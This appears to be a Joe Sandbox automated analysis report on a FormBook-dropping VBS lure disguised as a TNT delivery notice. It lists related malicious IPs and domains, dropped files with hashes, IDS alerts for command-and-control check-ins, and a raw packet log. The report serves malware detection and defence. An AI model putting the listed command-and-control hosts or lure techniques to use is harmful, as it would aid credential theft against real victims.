                              Joe Sandbox View / Context

                              IPs

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              38.54.112.227CV Lic H&S Olivetti Renzo.exeGet hashmaliciousFormBookBrowse
                              • www.jijievo.site/z9pi/
                              172.67.162.12SWIFT COPY 0028_pdf.exeGet hashmaliciousFormBookBrowse
                              • www.conansog.shop/m7wz/
                              http://deutsche-giganetz.meGet hashmaliciousUnknownBrowse
                              • deutsche-giganetz.me/favicon.ico

                              Domains

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              all.wjscdn.comPayment-251124.exeGet hashmaliciousFormBookBrowse
                              • 154.205.159.116
                              CV Lic H&S Olivetti Renzo.exeGet hashmaliciousFormBookBrowse
                              • 38.54.112.227
                              CV Lic H&S Olivetti Renzo.exeGet hashmaliciousFormBookBrowse
                              • 154.90.58.209
                              www.zkdamdjj.shopPAYROLL LIST.exeGet hashmaliciousFormBookBrowse
                              • 104.21.40.167
                              Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                              • 104.21.40.167
                              NEW PURCHASE ORDER DRAWINGSSPECS 5655-2024.vbeGet hashmaliciousFormBookBrowse
                              • 104.21.40.167
                              A2028041200SD.exeGet hashmaliciousFormBookBrowse
                              • 188.114.97.3
                              natroredirect.natrocdn.comOUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                              • 85.159.66.93
                              REQUESTING FOR UPDATED SOA.exeGet hashmaliciousFormBookBrowse
                              • 85.159.66.93
                              Certificate 11-18720.exeGet hashmaliciousFormBookBrowse
                              • 85.159.66.93
                              Certificate 11-19AIS.exeGet hashmaliciousFormBookBrowse
                              • 85.159.66.93
                              packing list G25469.exeGet hashmaliciousFormBookBrowse
                              • 85.159.66.93
                              purchase Order.exeGet hashmaliciousFormBookBrowse
                              • 85.159.66.93
                              Certificate 11-21AIS.exeGet hashmaliciousFormBookBrowse
                              • 85.159.66.93
                              Certificate 1045-20-11.exeGet hashmaliciousFormBookBrowse
                              • 85.159.66.93
                              Certificate 719A1120-2024.exeGet hashmaliciousFormBookBrowse
                              • 85.159.66.93
                              NEW PURCHASE ORDER DRAWINGSSPECS 5655-2024.vbeGet hashmaliciousFormBookBrowse
                              • 85.159.66.93
                              www.conansog.shopMandatory Notice for all December Leave and Vacation application.exeGet hashmaliciousFormBookBrowse
                              • 104.21.41.74
                              SWIFT COPY 0028_pdf.exeGet hashmaliciousFormBookBrowse
                              • 172.67.162.12
                              FOTO#U011eRAFLAR.exeGet hashmaliciousFormBookBrowse
                              • 104.21.41.74

                              ASNs

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              CLOUDFLARENETUSfile.exeGet hashmaliciousLummaC StealerBrowse
                              • 172.67.160.80
                              https://michiganchronicle.com/philanthropy-under-siege-how-the-fight-against-the-fearless-fund-threatens-black-womens-progress-in-detroit/Get hashmaliciousUnknownBrowse
                              • 104.26.10.19
                              Siparis po 1198624 _#U0130zmir #U0130stinyepark Projesi.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 172.67.177.134
                              https://antiphishing.vadesecure.com/v4?f=U3NocHNZUmllMWk0MmdjMYDgQ0wsRYjjfDkZnUsmsqS3bv-gdJZTKaN5KSsipRTf&i=cnNwakphM05sN25WcmhxVcUfrB8NjiRd7gd4RsoOTL4&k=A3pt&r=UUJQWml1Y2NtejlnWDZLZB0Eg6oPQLWHk5a0M-cKRXyoaPvtU4tInW_VqCgS4DhSa_cUZCcNAUmWLKbw9MOxGw&s=bf71d8ade961f6ab439c8235babb7157b334d689888d3083d0cc1744cfe48aaf&u=https%3A%2F%2Fpublic-fra.mkt.dynamics.com%2Fapi%2Forgs%2F85a8c477-bea7-ef11-8a66-0022483994f9%2Fr%2FMKSqoVs73k-RUO5uHPfRswIAAAA%3Ftarget%3D%257B%2522TargetUrl%2522%253A%2522https%25253A%25252F%25252Fassets-fra.mkt.dynamics.com%25252F85a8c477-bea7-ef11-8a66-0022483994f9%25252Fdigitalassets%25252Fstandaloneforms%25252F46042089-b8ac-ef11-a72d-6045bd6e29e8%2522%252C%2522RedirectOptions%2522%253A%257B%25226%2522%253A%2522mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%2522%252C%25221%2522%253Anull%257D%257D%26digest%3Djuexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%253D%26secretVersion%3D02e7c83d621d4269af2f08a8e4e233cfGet hashmaliciousUnknownBrowse
                              • 172.67.215.61
                              https://clickme.thryv.com/ls/click?upn=u001.5-2B1Zlj-2BwCegXqgd6Um7kY0JRT8UgUE3u1rWR4YFASxlUU28BkvglW4Sw74FAirirfRSk_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQjRRfcuGnHeO06MZmpQ9Md6EqF3tHpTnJtwnRl07eBC-2BbeqGDZkqEsFQ9fh8CwKb92GLRs9xjA4K3L0qiP8u-2BrdM8wHoplpWV7e4Ic88yYySdEC6BFxZgKH7uN8ysaI5ELMcoW165-2BlUHwvAK7b88Y-2FPYUokK9PeBa-2FcZkvlS9nh3pVTeDrVNhWWvISMX1rFpeltySyG2xWyMwf0YLv9gS0X1AE0s7oDERqOcaTwfLsXQxoV99DX1bVNLU7d5FQCgc-3D#C?email=heath.teresa@aidb.orgGet hashmaliciousUnknownBrowse
                              • 172.67.191.170
                              file.exeGet hashmaliciousPureCrypter, Amadey, LummaC Stealer, Stealc, VidarBrowse
                              • 104.21.82.174
                              https://98dm.oyvysi.com/pNP5FoexU0Zwq_iRmrJnKFv/Get hashmaliciousUnknownBrowse
                              • 104.21.67.123
                              QUOTATION_NOVQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                              • 104.21.67.152
                              REMITTANCE_PAYMENT54342Saic.htmlGet hashmaliciousPhisherBrowse
                              • 104.21.20.53
                              Notice_Of_New_Remittance.pdfGet hashmaliciousUnknownBrowse
                              • 104.16.124.96
                              CLOUDFLARENETUSfile.exeGet hashmaliciousLummaC StealerBrowse
                              • 172.67.160.80
                              https://michiganchronicle.com/philanthropy-under-siege-how-the-fight-against-the-fearless-fund-threatens-black-womens-progress-in-detroit/Get hashmaliciousUnknownBrowse
                              • 104.26.10.19
                              Siparis po 1198624 _#U0130zmir #U0130stinyepark Projesi.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                              • 172.67.177.134
                              https://antiphishing.vadesecure.com/v4?f=U3NocHNZUmllMWk0MmdjMYDgQ0wsRYjjfDkZnUsmsqS3bv-gdJZTKaN5KSsipRTf&i=cnNwakphM05sN25WcmhxVcUfrB8NjiRd7gd4RsoOTL4&k=A3pt&r=UUJQWml1Y2NtejlnWDZLZB0Eg6oPQLWHk5a0M-cKRXyoaPvtU4tInW_VqCgS4DhSa_cUZCcNAUmWLKbw9MOxGw&s=bf71d8ade961f6ab439c8235babb7157b334d689888d3083d0cc1744cfe48aaf&u=https%3A%2F%2Fpublic-fra.mkt.dynamics.com%2Fapi%2Forgs%2F85a8c477-bea7-ef11-8a66-0022483994f9%2Fr%2FMKSqoVs73k-RUO5uHPfRswIAAAA%3Ftarget%3D%257B%2522TargetUrl%2522%253A%2522https%25253A%25252F%25252Fassets-fra.mkt.dynamics.com%25252F85a8c477-bea7-ef11-8a66-0022483994f9%25252Fdigitalassets%25252Fstandaloneforms%25252F46042089-b8ac-ef11-a72d-6045bd6e29e8%2522%252C%2522RedirectOptions%2522%253A%257B%25226%2522%253A%2522mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%2522%252C%25221%2522%253Anull%257D%257D%26digest%3Djuexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%253D%26secretVersion%3D02e7c83d621d4269af2f08a8e4e233cfGet hashmaliciousUnknownBrowse
                              • 172.67.215.61
                              https://clickme.thryv.com/ls/click?upn=u001.5-2B1Zlj-2BwCegXqgd6Um7kY0JRT8UgUE3u1rWR4YFASxlUU28BkvglW4Sw74FAirirfRSk_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQjRRfcuGnHeO06MZmpQ9Md6EqF3tHpTnJtwnRl07eBC-2BbeqGDZkqEsFQ9fh8CwKb92GLRs9xjA4K3L0qiP8u-2BrdM8wHoplpWV7e4Ic88yYySdEC6BFxZgKH7uN8ysaI5ELMcoW165-2BlUHwvAK7b88Y-2FPYUokK9PeBa-2FcZkvlS9nh3pVTeDrVNhWWvISMX1rFpeltySyG2xWyMwf0YLv9gS0X1AE0s7oDERqOcaTwfLsXQxoV99DX1bVNLU7d5FQCgc-3D#C?email=heath.teresa@aidb.orgGet hashmaliciousUnknownBrowse
                              • 172.67.191.170
                              file.exeGet hashmaliciousPureCrypter, Amadey, LummaC Stealer, Stealc, VidarBrowse
                              • 104.21.82.174
                              https://98dm.oyvysi.com/pNP5FoexU0Zwq_iRmrJnKFv/Get hashmaliciousUnknownBrowse
                              • 104.21.67.123
                              QUOTATION_NOVQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                              • 104.21.67.152
                              REMITTANCE_PAYMENT54342Saic.htmlGet hashmaliciousPhisherBrowse
                              • 104.21.20.53
                              Notice_Of_New_Remittance.pdfGet hashmaliciousUnknownBrowse
                              • 104.16.124.96
                              COGENT-174USPre Alert PO TVKJEANSA00967.bat.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                              • 154.23.176.197
                              pjyhwsdgkl.elfGet hashmaliciousUnknownBrowse
                              • 38.216.7.11
                              mipsel.nn.elfGet hashmaliciousMirai, OkiruBrowse
                              • 38.189.106.204
                              arm5.nn.elfGet hashmaliciousMirai, OkiruBrowse
                              • 38.251.250.69
                              arm.nn.elfGet hashmaliciousMirai, OkiruBrowse
                              • 38.88.81.215
                              x86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
                              • 38.225.22.135
                              x86_64.nn.elfGet hashmaliciousMirai, OkiruBrowse
                              • 38.221.96.77
                              ppc.elfGet hashmaliciousMiraiBrowse
                              • 38.127.150.181
                              sh4.elfGet hashmaliciousMiraiBrowse
                              • 38.41.47.100
                              arm5.elfGet hashmaliciousMiraiBrowse
                              • 38.83.47.2
                              UKRAINE-ASUAhttp://www.urbanerecycling.comGet hashmaliciousHTMLPhisher, TechSupportScamBrowse
                              • 185.68.16.184
                              CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                              • 91.206.201.136
                              need quotations.exeGet hashmaliciousFormBookBrowse
                              • 91.206.201.136
                              Maryam Farokhi-PhD- CV-1403.exeGet hashmaliciousFormBookBrowse
                              • 185.68.16.94
                              Y7isAhMKal.exeGet hashmaliciousFormBookBrowse
                              • 185.68.16.94
                              tvfF5APmrC.lnkGet hashmaliciousMalLnkBrowse
                              • 185.68.16.199
                              aAmetcdeXM.lnkGet hashmaliciousMalLnkBrowse
                              • 185.68.16.199
                              wODub61gZe.exeGet hashmaliciousFormBookBrowse
                              • 185.68.16.50
                              IMPORT PERMITS.exeGet hashmaliciousFormBookBrowse
                              • 185.68.16.94
                              draft contract for order #782334.exeGet hashmaliciousFormBookBrowse
                              • 185.68.16.94

                              JA3 Fingerprints

                              ⊘No context

                              Dropped Files

                              ⊘No context

                              Created / dropped Files

                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\payload_Kf7Fb.exe.log

                              Download File
                              Process:C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe
                              File Type:CSV text
                              Category:dropped
                              Size (bytes):226
                              Entropy (8bit):5.360398796477698
                              Encrypted:false
                              SSDEEP:6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
                              MD5:3A8957C6382192B71471BD14359D0B12
                              SHA1:71B96C965B65A051E7E7D10F61BEBD8CCBB88587
                              SHA-256:282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
                              SHA-512:76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
                              Malicious:false
                              Reputation:high, very likely benign file
                              Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

                              C:\Users\user\AppData\Local\Temp\execution_QLnFC.log

                              Download File
                              Process:C:\Windows\System32\wscript.exe
                              File Type:ASCII text, with CRLF line terminators
                              Category:dropped
                              Size (bytes):57
                              Entropy (8bit):4.572390515358351
                              Encrypted:false
                              SSDEEP:3:efXUwOqKgBFBN8cv:ey7EjN8e
                              MD5:4583A125F8F4123B41F57BC3740C83FF
                              SHA1:C4BEC30AE859DF2C6BCF8204EA29F580DAE1E8A8
                              SHA-256:C66A532AB8539515996A33EA60673C87494494D553A4284363AF05B8D7AB4A28
                              SHA-512:BC979F38B311C3D7E6DCDD8FEC8A3C688D278435FBDABB7FFD2C744F10E149F49EA9584657109629DA060E0FCEDC9682F6B99A710AB4688B117F4171037548F8
                              Malicious:true
                              Preview:27/11/2024 13:15:21 - Runtime initialized successfully...

                              C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe

                              Download File
                              Process:C:\Windows\System32\wscript.exe
                              File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                              Category:dropped
                              Size (bytes):397312
                              Entropy (8bit):7.974140578246757
                              Encrypted:false
                              SSDEEP:6144:qLpGN8+JfpbITYIjaJRzxOr0txcoTCzau/MzvuAUydQBCtncNbNdyQnNLH0P1:cpGS+JBTR4oCzasMrA+QyIR7nhH6
                              MD5:0B6A1AA96FABD02D283FF73044BC1B14
                              SHA1:90535CD6F94D8257569CFC40F43A0D02EF9354CA
                              SHA-256:88619E4D3E782099924337A2920D036DCC7B7A476C897BEE820637230490A501
                              SHA-512:5D9E60D0419C32B70AA1D17161A27138F431520BE92D5ED2C472B87B978AB192FF6FD0655B1C7AEBFC4C4452B6E3B1D33F03F6098862EE9AE94B99948BADB667
                              Malicious:true
                              Antivirus:
                              • Antivirus: Avira, Detection: 100%
                              • Antivirus: Joe Sandbox ML, Detection: 100%
                              • Antivirus: ReversingLabs, Detection: 67%
                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....cFg..............0..............$... ...@....@.. ....................................`..................................#..W....`.......................@......t................................................ ............... ..H............text...4.... ...................... ..`.reloc.......@......................@..B.rsrc........`......................@..@.................$......H............5..........D6..0...........................................".(.....*....0...........(......*....0..Y........~....~).......,>.E.........-......&..(8...%&(@...%&(....%&o....%&s............~.....+..*....0...........~.....+..*..0.................*.0...........(....*..0...........(.....*.0..........s....(....%&(H...%&.....*....0...........~.....+..*..0..I.......( ..........s!...o"...( ..........s!...o#...($...%&..(......(%...%&.....*....0...........(....*..0..........

                              C:\Users\user\AppData\Local\Temp\u2-886N7n

                              Download File
                              Process:C:\Windows\SysWOW64\prevhost.exe
                              File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                              Category:dropped
                              Size (bytes):196608
                              Entropy (8bit):1.1221538113908904
                              Encrypted:false
                              SSDEEP:192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
                              MD5:C1AE02DC8BFF5DD65491BF71C0B740A7
                              SHA1:6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
                              SHA-256:CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
                              SHA-512:01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
                              Malicious:false
                              Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                              Static File Info

                              General

                              File type:ASCII text, with very long lines (65285), with CRLF line terminators
                              Entropy (8bit):5.896000741047064
                              TrID:
                              • Visual Basic Script (13500/0) 100.00%
                              File name:TNT Express Delivery Consignment AWD 87993766479.vbs
                              File size:627'005 bytes
                              MD5:4393c3d8a01e1eedfb39fb3912024d9a
                              SHA1:6d110b27611c226866c9ba5e39840f596545e1be
                              SHA256:2f78299e8c557e4650b5067c08ca343db5cee17aa2db010c9fec0e20526e3a72
                              SHA512:2df456b5eea26968f798c61fe3ecfc8a02c5751c9855b499ff4b97708b785a78bb69dec960290a98e05bbb9347ed6c055e0a29befcc96fbe2dd9d95d2193baba
                              SSDEEP:12288:oCvTaW6olxPEmJBoqYTFEVQk+UqugY6VzzcOCRE:RFlxPxYTFEVQkfquVwzzDCu
                              TLSH:54D4E186FF627F8C3C91C2F5085F7E849DCE5DEB0274EAD9D42D220A28818D509AF539
                              File Content Preview:Option Explicit....' Constants..Const TEMP_DIRECTORY = 2..Const INIT_DELAY_MS_RANGE = "3000-7000"..Const EXEC_DELAY_MS_RANGE = "2000-5000"....' Globals..Dim tempFilePath, logFilePath, obfuscatedPayload....' Entry Point..Sub Main().. InitRuntime()..

                              File Icon

                              Icon Hash:68d69b8f86ab9a86

                              Network Behavior

                              Suricata IDS Alerts

                              TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                              2024-11-27T19:16:45.160721+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.949727172.67.162.1280TCP
                              2024-11-27T19:16:47.757085+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.949732172.67.162.1280TCP
                              2024-11-27T19:16:50.471686+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.949738172.67.162.1280TCP
                              2024-11-27T19:17:00.374740+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.94976038.54.112.22780TCP
                              2024-11-27T19:17:03.030845+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.94976638.54.112.22780TCP
                              2024-11-27T19:17:05.749412+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.94977238.54.112.22780TCP
                              2024-11-27T19:17:15.593229+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.949795172.67.187.11480TCP
                              2024-11-27T19:17:18.249459+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.949801172.67.187.11480TCP
                              2024-11-27T19:17:20.922209+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.949808172.67.187.11480TCP
                              2024-11-27T19:17:31.827601+01002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.94983485.159.66.9380TCP

                              Network Port Distribution

                              TCP Packets

                              TimestampSource PortDest PortSource IPDest IP
                              Nov 27, 2024 19:16:26.184871912 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:26.310997009 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:26.311116934 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:26.443726063 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:26.602715015 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.957554102 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.957668066 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.957760096 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:27.957954884 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.957967997 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.958093882 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:27.958350897 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.958363056 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.958374977 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.958384991 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.958421946 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:27.958444118 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:27.959228992 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.959242105 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:27.959322929 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:28.083158970 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:28.087655067 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:28.088747978 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:28.096468925 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:28.105073929 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:28.108205080 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:28.158485889 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:28.158607006 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:28.158766031 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:28.164103985 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:28.167088032 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:28.169085026 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:28.170490980 CET4971180192.168.2.9185.68.16.160
                              Nov 27, 2024 19:16:28.290416002 CET8049711185.68.16.160192.168.2.9
                              Nov 27, 2024 19:16:43.704004049 CET4972780192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:43.825228930 CET8049727172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:43.825469017 CET4972780192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:43.842401028 CET4972780192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:43.966581106 CET8049727172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:45.160329103 CET8049727172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:45.160665989 CET8049727172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:45.160721064 CET4972780192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:45.358897924 CET4972780192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:46.382901907 CET4973280192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:46.503994942 CET8049732172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:46.504143953 CET4973280192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:46.517956018 CET4973280192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:46.645620108 CET8049732172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:47.755558968 CET8049732172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:47.756988049 CET8049732172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:47.757085085 CET4973280192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:48.030689001 CET4973280192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:49.049595118 CET4973880192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:49.170766115 CET8049738172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:49.170859098 CET4973880192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:49.185640097 CET4973880192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:49.317964077 CET8049738172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:49.317979097 CET8049738172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:50.470295906 CET8049738172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:50.471600056 CET8049738172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:50.471685886 CET4973880192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:50.687182903 CET4973880192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:51.706909895 CET4974480192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:51.859148026 CET8049744172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:51.859407902 CET4974480192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:51.868112087 CET4974480192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:52.021147966 CET8049744172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:53.121328115 CET8049744172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:53.122252941 CET8049744172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:53.122342110 CET4974480192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:53.124094963 CET4974480192.168.2.9172.67.162.12
                              Nov 27, 2024 19:16:53.249290943 CET8049744172.67.162.12192.168.2.9
                              Nov 27, 2024 19:16:58.728363037 CET4976080192.168.2.938.54.112.227
                              Nov 27, 2024 19:16:58.853694916 CET804976038.54.112.227192.168.2.9
                              Nov 27, 2024 19:16:58.853785038 CET4976080192.168.2.938.54.112.227
                              Nov 27, 2024 19:16:58.867724895 CET4976080192.168.2.938.54.112.227
                              Nov 27, 2024 19:16:58.991512060 CET804976038.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:00.374739885 CET4976080192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:00.509294987 CET804976038.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:00.509408951 CET4976080192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:00.510313988 CET804976038.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:00.510375977 CET4976080192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:01.393172026 CET4976680192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:01.515389919 CET804976638.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:01.515475988 CET4976680192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:01.528219938 CET4976680192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:01.658530951 CET804976638.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:03.030844927 CET4976680192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:03.188013077 CET804976638.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:03.188178062 CET4976680192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:04.049395084 CET4977280192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:04.224071980 CET804977238.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:04.224214077 CET4977280192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:04.238399029 CET4977280192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:04.364710093 CET804977238.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:04.364723921 CET804977238.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:05.749412060 CET4977280192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:05.881786108 CET804977238.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:05.882035971 CET4977280192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:06.767915964 CET4977880192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:06.896712065 CET804977838.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:06.896889925 CET4977880192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:06.905498981 CET4977880192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:07.042963028 CET804977838.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:08.534924984 CET804977838.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:08.535057068 CET804977838.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:08.535110950 CET4977880192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:08.537722111 CET4977880192.168.2.938.54.112.227
                              Nov 27, 2024 19:17:08.657720089 CET804977838.54.112.227192.168.2.9
                              Nov 27, 2024 19:17:13.957997084 CET4979580192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:14.078279972 CET8049795172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:14.078444004 CET4979580192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:14.092186928 CET4979580192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:14.212641001 CET8049795172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:15.593229055 CET4979580192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:15.720439911 CET8049795172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:15.720527887 CET4979580192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:16.612154007 CET4980180192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:16.732191086 CET8049801172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:16.732291937 CET4980180192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:16.746083021 CET4980180192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:16.866272926 CET8049801172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:18.249459028 CET4980180192.168.2.9172.67.187.114
                              Nov 27, 2024 19:17:18.404081106 CET8049801172.67.187.114192.168.2.9
                              Nov 27, 2024 19:17:18.404202938 CET4980180192.168.2.9172.67.187.114
